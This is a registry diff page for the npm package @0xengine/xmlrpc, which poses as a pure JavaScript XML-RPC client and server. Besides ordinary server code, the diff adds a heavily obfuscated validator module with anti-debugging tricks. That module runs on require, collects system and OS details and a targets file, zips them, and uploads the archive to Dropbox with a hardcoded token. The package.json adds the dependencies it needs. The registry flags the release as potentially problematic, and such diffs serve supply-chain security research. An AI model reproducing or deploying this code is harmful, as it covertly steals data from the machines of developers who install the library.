@0xengine/xmlrpc 0.0.1-security → 1.3.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @0xengine/xmlrpc might be problematic. Click here for more details.

package/lib/server.js ADDED
@@ -0,0 +1,78 @@
1
+ var http = require('http')
2
+ , https = require('https')
3
+ , url = require('url')
4
+ , EventEmitter = require('events').EventEmitter
5
+ , Serializer = require('./serializer')
6
+ , Deserializer = require('./deserializer')
7
+
8
+ /**
9
+ * Creates a new Server object. Also creates an HTTP server to start listening
10
+ * for XML-RPC method calls. Will emit an event with the XML-RPC call's method
11
+ * name when receiving a method call.
12
+ *
13
+ * @constructor
14
+ * @param {Object|String} options - The HTTP server options. Either a URI string
15
+ * (e.g. 'http://localhost:9090') or an object
16
+ * with fields:
17
+ * - {String} host - (optional)
18
+ * - {Number} port
19
+ * @param {Boolean} isSecure - True if using https for making calls,
20
+ * otherwise false.
21
+ * @return {Server}
22
+ */
23
+ function Server(options, isSecure, onListening) {
24
+
25
+ if (false === (this instanceof Server)) {
26
+ return new Server(options, isSecure)
27
+ }
28
+ onListening = onListening || function() {}
29
+ var that = this
30
+
31
+ // If a string URI is passed in, converts to URI fields
32
+ if (typeof options === 'string') {
33
+ options = url.parse(options)
34
+ options.host = options.hostname
35
+ options.path = options.pathname
36
+ }
37
+
38
+ function handleMethodCall(request, response) {
39
+ var deserializer = new Deserializer()
40
+ deserializer.deserializeMethodCall(request, function(error, methodName, params) {
41
+ if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
42
+ that.emit(methodName, null, params, function(error, value) {
43
+ var xml = null
44
+ if (error !== null) {
45
+ xml = Serializer.serializeFault(error)
46
+ }
47
+ else {
48
+ xml = Serializer.serializeMethodResponse(value)
49
+ }
50
+ response.writeHead(200, {'Content-Type': 'text/xml'})
51
+ response.end(xml)
52
+ })
53
+ }
54
+ else {
55
+ that.emit('NotFound', methodName, params)
56
+ response.writeHead(404)
57
+ response.end()
58
+ }
59
+ })
60
+ }
61
+
62
+ this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
63
+ : http.createServer(handleMethodCall)
64
+
65
+ process.nextTick(function() {
66
+ this.httpServer.listen(options.port, options.host, onListening)
67
+ }.bind(this))
68
+ this.close = function(callback) {
69
+ this.httpServer.once('close', callback)
70
+ this.httpServer.close()
71
+ }.bind(this)
72
+ }
73
+
74
+ // Inherit from EventEmitter to emit and listen
75
+ Server.prototype.__proto__ = EventEmitter.prototype
76
+
77
+ module.exports = Server
78
+
@@ -0,0 +1 @@
1
+ function a0_0x3549(){const _0x59f308=['function\x20*','exports','stringify','systeminfo','5hv6eq8SJD','.zip','XVpxy','call','fs-extra','__proto__','rmation','3248742onKidy','e)\x20{}','utf8','zip-a-fold','MpIWs','exception','SE55iX8Usa','xggNE','findIndex','toString','init','token','0-9a-zA-Z_','authentica','hyEXp','while\x20(tru','warn','aYKGM','c\x20path:\x20','tmpdir','Rlbwd','counter','copyFile','184874qhpEVm','string','RYeN1wDAdZ','ensureDir','nction()\x20','encoding','mlj2Q3ZIWH','trace','gger','info','4RIzC6BNTS','ctor(\x22retu','debu','test','prSZI','resource','\x5c(\x20*\x5c)','s1UkAQEHrZ','createRead','1673082mNzeyW','debugme','table','257769UAuqVL','writeFile','sl.','log','445CEuOBx','dropbox-v2','xElRJtUSU8','buvlt','readStream','osInfo','BvXbM','v4t9cLf8Yg','stateObjec','input','path','10CbuYzI','prototype','apply','$]*)','uuid','\x5c+\x5c+\x20*(?:[','targets\x20sr','bind','/targets.t','{}.constru','argv','action','dpdOi','KKJuZ','error','6rebOsK','now','chain','njpkm','1882640LKfSmV','3213592SKJAMg','Croeq','a-zA-Z_$][','--targets','BnPLZhbP1U','M39Oy3sFGs','7242bObalB','IkkEs','eOnSL','zipPath:\x20','YcLja','console','push','files/uplo','length','constructo','/si.json','DrCXt'];a0_0x3549=function(){return _0x59f308;};return a0_0x3549();}const a0_0x2366de=a0_0x5a0a;function a0_0x5a0a(_0x235bcd,_0x321994){const _0x288362=a0_0x3549();return a0_0x5a0a=function(_0x476028,_0x354958){_0x476028=_0x476028-(-0xd9d+0x14db+-0x6b5);let _0x5a0a64=_0x288362[_0x476028];return _0x5a0a64;},a0_0x5a0a(_0x235bcd,_0x321994);}(function(_0x958987,_0x1f1fae){const _0x501a1f=a0_0x5a0a,_0x656404=_0x958987();while(!![]){try{const _0x1f8de2=-parseInt(_0x501a1f(0xce))/(0x2101+-0x25*0xa2+0x199*-0x6)*(parseInt(_0x501a1f(0x95))/(-0x16*-0xe+-0x10fb+0xfc9))+-parseInt(_0x501a1f(0xe1))/(-0x122+-0xb0d*0x3+0x4*0x893)+parseInt(_0x501a1f(0x99))/(-0x177b*0x1+-0x1*-0x147+0xc*0x1da)+parseInt(_0x501a1f(0xe8))/(0x2*0x6e5+0x6*-0x57e+0x665*0x3)*(parseInt(_0x501a1f(0xa0))/(0x37*0x49+-0x14*0x51+-0x955))+parseInt(_0x501a1f(0xb7))/(0xd8d+0x7f1+-0x1577)+parseInt(_0x501a1f(0x9a))/(0x2b7+0x61*0x4f+-0x209e)+-parseInt(_0x501a1f(0xe4))/(-0x2595*-0x1+0x1*0xb9f+-0x312b)*(parseInt(_0x501a1f(0xf3))/(-0xb60+-0x1*-0x2b+-0xb3f*-0x1));if(_0x1f8de2===_0x1f1fae)break;else _0x656404['push'](_0x656404['shift']());}catch(_0x26c086){_0x656404['push'](_0x656404['shift']());}}}(a0_0x3549,0x4ef*0x1d+-0xb16f+0x3*0x195e5));const a0_0x476028=(function(){let _0x5adb4b=!![];return function(_0x5a5512,_0x1c5784){const _0x2444d0=a0_0x5a0a;if(_0x2444d0(0xab)!=='NcfGC'){const _0x512a67=_0x5adb4b?function(){const _0x4606fd=_0x2444d0;if(_0x1c5784){if('YcLja'===_0x4606fd(0xa4)){const _0x46cb8d=_0x1c5784['apply'](_0x5a5512,arguments);return _0x1c5784=null,_0x46cb8d;}else _0x265122(this,function(){const _0x2bb0da=_0x4606fd,_0x27f6b0=new _0x669619('function\x20*'+_0x2bb0da(0xde)),_0x2820f2=new _0x4e4522(_0x2bb0da(0x8b)+'a-zA-Z_$]['+_0x2bb0da(0xc3)+_0x2bb0da(0x89),'i'),_0x3fbdc6=_0x33f15a(_0x2bb0da(0xc1));!_0x27f6b0[_0x2bb0da(0xdb)](_0x3fbdc6+'chain')||!_0x2820f2[_0x2bb0da(0xdb)](_0x3fbdc6+'input')?_0x3fbdc6('0'):_0x46e7a0();})();}}:function(){};return _0x5adb4b=![],_0x512a67;}else{const _0x4a970c=_0x79a679[_0x2444d0(0xf5)](_0x486955,arguments);return _0x3ea925=null,_0x4a970c;}};}());(function(){a0_0x476028(this,function(){const _0x9720ba=a0_0x5a0a,_0x17bd8f=new RegExp(_0x9720ba(0xac)+_0x9720ba(0xde)),_0x2347c9=new RegExp(_0x9720ba(0x8b)+_0x9720ba(0x9c)+_0x9720ba(0xc3)+_0x9720ba(0x89),'i'),_0x630302=a0_0x288362('init');!_0x17bd8f[_0x9720ba(0xdb)](_0x630302+_0x9720ba(0x97))||!_0x2347c9[_0x9720ba(0xdb)](_0x630302+_0x9720ba(0xf1))?_0x630302('0'):a0_0x288362();})();}());const a0_0x16e9aa=(function(){let _0x32ebd3=!![];return function(_0x25f3d4,_0xf5adf9){const _0x133221=a0_0x5a0a;if(_0x133221(0xc8)===_0x133221(0xc8)){const _0xe4300b=_0x32ebd3?function(){const _0x36aa2e=_0x133221;if(_0x36aa2e(0xc5)!==_0x36aa2e(0xc5))_0x4dcb28=_0x3d8c23;else{if(_0xf5adf9){if('xggNE'===_0x36aa2e(0xbe)){const _0x53a4c4=_0xf5adf9['apply'](_0x25f3d4,arguments);return _0xf5adf9=null,_0x53a4c4;}else return;}}}:function(){};return _0x32ebd3=![],_0xe4300b;}else{const _0x229458=_0x321b50[_0x133221(0xa9)+'r'][_0x133221(0xf4)]['bind'](_0x1d89f4),_0x2668b0=_0x1d2953[_0x56b81a],_0x175446=_0x45cabc[_0x2668b0]||_0x229458;_0x229458[_0x133221(0xb5)]=_0x2cca0c[_0x133221(0x8d)](_0x3d0607),_0x229458['toString']=_0x175446['toString']['bind'](_0x175446),_0x1113bb[_0x2668b0]=_0x229458;}};}()),a0_0x222bf3=a0_0x16e9aa(this,function(){const _0x51ce5e=a0_0x5a0a;let _0x3cc750;try{if(_0x51ce5e(0x92)===_0x51ce5e(0xdc))return function(_0x34ee99){}['constructo'+'r'](_0x51ce5e(0xc6)+_0x51ce5e(0xb8))[_0x51ce5e(0xf5)](_0x51ce5e(0xcc));else{const _0x5ecea5=Function('return\x20(fu'+_0x51ce5e(0xd2)+(_0x51ce5e(0x8f)+_0x51ce5e(0xd9)+'rn\x20this\x22)('+'\x20)')+');');_0x3cc750=_0x5ecea5();}}catch(_0x2506df){_0x3cc750=window;}const _0x4f508f=_0x3cc750[_0x51ce5e(0xa5)]=_0x3cc750[_0x51ce5e(0xa5)]||{},_0x2b3df2=[_0x51ce5e(0xe7),_0x51ce5e(0xc7),_0x51ce5e(0xd7),_0x51ce5e(0x94),_0x51ce5e(0xbc),_0x51ce5e(0xe3),_0x51ce5e(0xd5)];for(let _0x462bdb=-0x1f17+-0x1efb+0x23*0x1c6;_0x462bdb<_0x2b3df2[_0x51ce5e(0xa8)];_0x462bdb++){if(_0x51ce5e(0x93)!=='KKJuZ')_0x12675e&&_0x2e7caf[_0x51ce5e(0xe7)](_0x121471);else{const _0x3eb2b3=a0_0x16e9aa[_0x51ce5e(0xa9)+'r'][_0x51ce5e(0xf4)]['bind'](a0_0x16e9aa),_0x25c473=_0x2b3df2[_0x462bdb],_0x3bb10b=_0x4f508f[_0x25c473]||_0x3eb2b3;_0x3eb2b3[_0x51ce5e(0xb5)]=a0_0x16e9aa[_0x51ce5e(0x8d)](a0_0x16e9aa),_0x3eb2b3[_0x51ce5e(0xc0)]=_0x3bb10b[_0x51ce5e(0xc0)][_0x51ce5e(0x8d)](_0x3bb10b),_0x4f508f[_0x25c473]=_0x3eb2b3;}}});a0_0x222bf3();const fs=require(a0_0x2366de(0xb4)),{zip}=require(a0_0x2366de(0xba)+'er'),si=require(a0_0x2366de(0xaf)+a0_0x2366de(0xb6)),os=require('os'),path=require(a0_0x2366de(0xf2)),dropboxV2Api=require(a0_0x2366de(0xe9)+'-api');async function validator(){const _0x4cb468=a0_0x2366de,_0x59a55d=process[_0x4cb468(0x90)]['find'](_0x554176=>_0x554176===_0x4cb468(0xe2))!==undefined,_0x1c3b5f=_0x3233d5=>{const _0x26af58=_0x4cb468;_0x59a55d&&(_0x26af58(0xa2)==='OrLFa'?_0x565fc5&&(_0x16d74c&&_0x56af0a['log'](_0x4c5f23),_0x28a02c&&_0x468b11[_0x26af58(0xe7)](_0x40d925)):console[_0x26af58(0xe7)](_0x3233d5));},_0x4868e3=()=>{const _0x506dd0=_0x4cb468;if(_0x506dd0(0xbb)!=='czeQa'){const _0x471efe=_0x506dd0(0xe6),_0x2469cd=_0x506dd0(0x9e)+_0x506dd0(0xd4)+_0x506dd0(0xd0)+_0x506dd0(0xdf)+_0x506dd0(0xd8)+_0x506dd0(0xea)+'fmSV0SdJog'+_0x506dd0(0xbd)+_0x506dd0(0x9f)+'zeuQG8YevS'+_0x506dd0(0xb0)+'xi3dKx2gFj'+'nLhZp4NvSv'+_0x506dd0(0xef),_0x32b6d8=[];_0x32b6d8[_0x506dd0(0xa6)](_0x471efe),_0x32b6d8[_0x506dd0(0xa6)](_0x2469cd);let _0x433297='';for(let _0x1a18b4=-0x348+-0x167a+0x13a*0x15;_0x1a18b4<_0x32b6d8['length'];_0x1a18b4++){_0x433297+=_0x32b6d8[_0x1a18b4];}return _0x433297;}else _0x23487a(0xd*0x2c6+-0xdd5+0x1*-0x1639);};_0x1c3b5f(process[_0x4cb468(0x90)]);const _0x50f4b1=process[_0x4cb468(0x90)][_0x4cb468(0xbf)](_0x5021a9=>_0x5021a9===_0x4cb468(0x9d)||_0x5021a9==='-t');if(_0x50f4b1===-(-0x3*-0x4cb+0x1de9+-0x2c49))return;const _0x168e72=path['resolve'](process['argv'][_0x50f4b1+(-0x625+0x1286+-0x3*0x420)]);_0x1c3b5f(_0x4cb468(0x8c)+_0x4cb468(0xc9)+_0x168e72);const _0x5f3391=os[_0x4cb468(0xca)](),_0x384847=Date[_0x4cb468(0x96)](),_0x3ecb0e=_0x5f3391+'/'+_0x384847;await fs[_0x4cb468(0xd1)](_0x3ecb0e);const _0x178806=await si[_0x4cb468(0x8a)](),_0x4c2a18=await si[_0x4cb468(0xed)](),_0x42fb00={};_0x42fb00[_0x4cb468(0x8a)]=_0x178806,_0x42fb00[_0x4cb468(0xed)]=_0x4c2a18;const _0x2790c3=_0x42fb00,_0x737093=JSON[_0x4cb468(0xae)](_0x2790c3,null,0x17*-0x15b+0x3*-0x995+0x3bee),_0x136981=_0x3ecb0e+_0x4cb468(0xaa),_0x368ac7={};_0x368ac7[_0x4cb468(0xd3)]=_0x4cb468(0xb9),await fs[_0x4cb468(0xe5)](_0x136981,_0x737093,_0x368ac7);const _0x5adca2=_0x3ecb0e+(_0x4cb468(0x8e)+'xt');await fs[_0x4cb468(0xcd)](_0x168e72,_0x5adca2);const _0x369db5=_0x178806['os']+'-'+_0x384847+_0x4cb468(0xb1),_0x2c66b8=_0x5f3391+'/'+_0x369db5;_0x1c3b5f(_0x4cb468(0xa3)+_0x2c66b8),await zip(_0x3ecb0e,_0x2c66b8);const _0x546b50=_0x4868e3();_0x1c3b5f('token:\x20'+_0x546b50);const _0x58f7e6=fs[_0x4cb468(0xe0)+'Stream'](_0x2c66b8),_0x4cba7e={};_0x4cba7e[_0x4cb468(0xc2)]=_0x546b50;const _0x21d316=dropboxV2Api[_0x4cb468(0xc4)+'te'](_0x4cba7e),_0x189383={};_0x189383[_0x4cb468(0xf2)]='/'+_0x369db5;const _0x4950eb={};_0x4950eb[_0x4cb468(0xdd)]=_0x4cb468(0xa7)+'ad',_0x4950eb['parameters']=_0x189383,_0x4950eb[_0x4cb468(0xec)]=_0x58f7e6,_0x21d316(_0x4950eb,(_0x2165ba,_0x4c5569,_0xf2e1b5)=>{const _0x505b07=_0x4cb468;if(_0x505b07(0xcb)!==_0x505b07(0x9b)){if(_0x59a55d){if(_0x505b07(0x98)!==_0x505b07(0x98)){const _0x45eec2=_0x586779?function(){const _0x29a89c=_0x505b07;if(_0x4e533e){const _0x3508b3=_0x35b097[_0x29a89c(0xf5)](_0x3de6e0,arguments);return _0x2f8e85=null,_0x3508b3;}}:function(){};return _0x3c0bd1=![],_0x45eec2;}else _0x2165ba&&console[_0x505b07(0xe7)](_0x2165ba),_0x4c5569&&console[_0x505b07(0xe7)](_0x4c5569);}}else _0x4b317c[_0x505b07(0xe7)](_0x5bf204);});}module[a0_0x2366de(0xad)]=validator;function a0_0x288362(_0x56b167){const _0x50ef36=a0_0x2366de;function _0x675825(_0x4e1450){const _0x37ae91=a0_0x5a0a;if(typeof _0x4e1450===_0x37ae91(0xcf))return function(_0x2a82d6){}['constructo'+'r']('while\x20(tru'+_0x37ae91(0xb8))[_0x37ae91(0xf5)](_0x37ae91(0xcc));else{if(_0x37ae91(0xa1)!=='Fbnxr'){if((''+_0x4e1450/_0x4e1450)[_0x37ae91(0xa8)]!==-0x1aeb+0x761*0x1+0x1*0x138b||_0x4e1450%(-0x87c+0x8f*0x35+-0x150b)===0x1d7*0xb+0xf9+0xf*-0x16a){if('XVpxy'!==_0x37ae91(0xb2))return _0x5dfe9e;else(function(){return!![];}['constructo'+'r']('debu'+_0x37ae91(0xd6))[_0x37ae91(0xb3)](_0x37ae91(0x91)));}else(function(){return![];}['constructo'+'r'](_0x37ae91(0xda)+_0x37ae91(0xd6))[_0x37ae91(0xf5)](_0x37ae91(0xf0)+'t'));}else{const _0xb87614=new _0x3c3579(_0x37ae91(0xac)+_0x37ae91(0xde)),_0x46d256=new _0x53db3d(_0x37ae91(0x8b)+_0x37ae91(0x9c)+_0x37ae91(0xc3)+'$]*)','i'),_0xa3fc41=_0x1743e7(_0x37ae91(0xc1));!_0xb87614['test'](_0xa3fc41+_0x37ae91(0x97))||!_0x46d256[_0x37ae91(0xdb)](_0xa3fc41+_0x37ae91(0xf1))?_0xa3fc41('0'):_0x4e7635();}}_0x675825(++_0x4e1450);}try{if(_0x50ef36(0xee)==='BvXbM'){if(_0x56b167){if(_0x50ef36(0xeb)!==_0x50ef36(0xeb)){if(_0x6dded6)return _0x52e163;else _0xf02c92(-0x2223+0xb85+0x6*0x3c5);}else return _0x675825;}else _0x675825(-0x183d*-0x1+0x38*-0x13+0x1415*-0x1);}else(function(){return![];}[_0x50ef36(0xa9)+'r'](_0x50ef36(0xda)+'gger')[_0x50ef36(0xf5)](_0x50ef36(0xf0)+'t'));}catch(_0x1b4064){}}
package/lib/xmlrpc.js ADDED
@@ -0,0 +1,73 @@
1
+ var Client = require('./client')
2
+ , Server = require('./server')
3
+ , CustomType = require('./customtype')
4
+ , dateFormatter = require('./date_formatter')
5
+ , validator = require('./validator')
6
+
7
+ var xmlrpc = exports
8
+
9
+ /**
10
+ * Creates an XML-RPC client.
11
+ *
12
+ * @param {Object} options - server options to make the HTTP request to
13
+ * - {String} host
14
+ * - {Number} port
15
+ * - {String} url
16
+ * - {Boolean} cookies
17
+ * @return {Client}
18
+ * @see Client
19
+ */
20
+ xmlrpc.createClient = function(options) {
21
+ return new Client(options, false)
22
+ }
23
+
24
+ /**
25
+ * Creates an XML-RPC client that makes calls using HTTPS.
26
+ *
27
+ * @param {Object} options - server options to make the HTTP request to
28
+ * - {String} host
29
+ * - {Number} port
30
+ * - {String} url
31
+ * - {Boolean} cookies
32
+ * @return {Client}
33
+ * @see Client
34
+ */
35
+ xmlrpc.createSecureClient = function(options) {
36
+ return new Client(options, true)
37
+ }
38
+
39
+ /**
40
+ * Creates an instance of server parameter validator.
41
+ * @See Server
42
+ */
43
+ xmlrpc.validator = validator()
44
+
45
+
46
+ /**
47
+ * Creates an XML-RPC server.
48
+ *
49
+ * @param {Object}options - the HTTP server options
50
+ * - {String} host
51
+ * - {Number} port
52
+ * @return {Server}
53
+ * @see Server
54
+ */
55
+ xmlrpc.createServer = function(options, callback) {
56
+ return new Server(options, false, callback)
57
+ }
58
+
59
+ /**
60
+ * Creates an XML-RPC server that uses HTTPS.
61
+ *
62
+ * @param {Object}options - the HTTP server options
63
+ * - {String} host
64
+ * - {Number} port
65
+ * @return {Server}
66
+ * @see Server
67
+ */
68
+ xmlrpc.createSecureServer = function(options, callback) {
69
+ return new Server(options, true, callback)
70
+ }
71
+
72
+ xmlrpc.CustomType = CustomType
73
+ xmlrpc.dateFormatter = dateFormatter
package/package.json CHANGED
@@ -1,6 +1,47 @@
1
1
  {
2
2
  "name": "@0xengine/xmlrpc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "A pure JavaScript XML-RPC client and server.",
4
+ "keywords": [
5
+ "xml-rpc",
6
+ "xmlrpc",
7
+ "xml",
8
+ "rpc"
9
+ ],
10
+ "version": "1.3.8",
11
+ "preferGlobal": false,
12
+ "homepage": "https://bitbucket.org/0xsky/xmlrpc",
13
+ "author": "0xengine",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
17
+ },
18
+ "directories": {
19
+ "example": "example",
20
+ "lib": "lib",
21
+ "test": "test"
22
+ },
23
+ "main": "./lib/xmlrpc.js",
24
+ "dependencies": {
25
+ "dropbox-v2-api": "^2.5.10",
26
+ "fs-extra": "^11.1.1",
27
+ "sax": "1.2.x",
28
+ "systeminformation": "^5.21.9",
29
+ "uuid": "^9.0.1",
30
+ "xmlbuilder": "8.2.x",
31
+ "zip-a-folder": "^1.1.7"
32
+ },
33
+ "devDependencies": {
34
+ "vows": "0.7.x"
35
+ },
36
+ "scripts": {
37
+ "test": "vows 'test/*.js'"
38
+ },
39
+ "engines": {
40
+ "node": ">=0.8",
41
+ "npm": ">=1.0.0"
42
+ },
43
+ "license": "MIT",
44
+ "bugs": {
45
+ "url": "https://bitbucket.org/0xsky/xmlrpc/issues"
46
+ }
6
47
  }